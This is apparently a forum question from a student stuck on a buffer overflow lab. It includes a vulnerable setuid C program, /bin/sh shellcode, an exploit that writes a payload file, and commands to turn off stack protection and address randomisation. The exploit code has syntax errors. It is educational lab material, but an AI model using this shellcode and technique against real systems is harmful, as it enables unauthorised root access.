title: Buffer Overflow Vulnerability Lab problems
body: <p>I have a lab assignment that I am stuck on.  Basically, I have to take advantage of a buffer overflow to generate a shell that has root privileges.  I have to use 2 separate .c files.  Here is the first one:
  stack.c</p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  int bof(char *str)
  {
      char buffer[12];
  
      //BO Vulnerability
      strcpy(buffer,str);
  
      return 1;
  }
  
  int main(int argc, char* argv[])
  {
      char str[517];
  
      FILE *badfile;
      badfile = fopen("badfile","r");
  
      fread(str, sizeof(char),517, badfile);
      bof(str);
  
      printf("Returned Properly\n");
      return 1;
  }
  </code></pre>
  
  <p>Here is the second one:
  exploit.c</p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  char shellcode[]=
  "\x31\xc0"              /* xorl    %eax,%eax              */
  "\x50"                  /* pushl   %eax                   */
  "\x68""//sh"            /* pushl   $0x68732f2f            */
  "\x68""/bin"            /* pushl   $0x6e69622f            */
  "\x89\xe3"              /* movl    %esp,%ebx              */
  "\x50"                  /* pushl   %eax                   */
  "\x53"                  /* pushl   %ebx                   */
  "\x89\xe1"              /* movl    %esp,%ecx              */
  "\x99"                  /* cdql                           */
  "\xb0\x0b"              /* movb    $0x0b,%al              */    
  "\xcd\x80"              /* int     $0x80                  */
  ;
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&amp;buffer, 0x90, 517);
  /* You need to fill the buffer with appropriate contents here */
  /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }
  </code></pre>
  
  <p>I can only modify the second one.  Here are the changes I have made:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  #define DEFAULT_OFFSET 350 
  
  char shellcode[]=
  "\x31\xc0"              /* xorl    %eax,%eax              */
  "\x50"                  /* pushl   %eax                   */
  "\x68""//sh"            /* pushl   $0x68732f2f            */
  "\x68""/bin"            /* pushl   $0x6e69622f            */
  "\x89\xe3"              /* movl    %esp,%ebx              */
  "\x50"                  /* pushl   %eax                   */
  "\x53"                  /* pushl   %ebx                   */
  "\x89\xe1"              /* movl    %esp,%ecx              */
  "\x99"                  /* cdql                           */
  "\xb0\x0b"              /* movb    $0x0b,%al              */    
  "\xcd\x80"              /* int     $0x80                  */
  
  unsigned long get_sp(void)
  {
      __asm__("movl %esp,%eax");
  }
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
      char *ptr;
      long *a_ptr,ret;
  
      int offset = DEFAULT_OFFSET;
      int codeSize = sizeof(shellcode);
      int buffSize = sizeof(buffer);
  
      if(argc &gt; 1) offset = atoi(argv[1]); //allows for command line input
  
      ptr=buffer;
      a_ptr = (long *) ptr;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(buffer, 0x90, buffSize);
  
  //----------------------BEGIN FILL BUFFER----------------------\\
  
      ret = get_sp()+offset;
      printf("Return Address: 0x%x\n",get_sp());
      printf("Address: 0x%x\n",ret);
  
      ptr = buffer;
      a_ptr = (long *) ptr;
  
      int i;
      for (i = 0; i &lt; 300;i+=4)
      {
          *(a_ptr++) = ret;
      }
  
      for(i = 486;i &lt; codeSize + 486;++i)
      {
          buffer[i] = shellcode[i-486];
      {
      buffer[buffSize - 1] = '\0';
  //-----------------------END FILL BUFFER-----------------------\\
  
  
  /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer,517,1,badfile);
      fclose(badfile);    
  }
  </code></pre>
  
  <p>I then executed the following from command line</p>
  
  <pre><code>$ su root
  $ Password (enter root password)
  # gcc -o stack -fno-stack-protector stack.c
  # chmod 4755 stack
  # exit
  $ gcc -o exploit exploit.c
  $./exploit
  $./stack
  </code></pre>
  
  <p>However, while it does generate a "badfile" with actual data and a shell, said shell only has basic user privileges.  Beforehand, I did execute the following in root:</p>
  
  <pre><code>echo 0 &gt; /proc/sys/kernel/randomize_va_space
  </code></pre>
  
  <p>The Lab says I instead need to execute the following in root:</p>
  
  <pre><code>sysctl -w kernel.randomize_va_space=0
  </code></pre>
  
  <p>However, if I do that, then when I execute "stack", I get an "illegal instruction" error.  Can someone help me out with this one?  </p>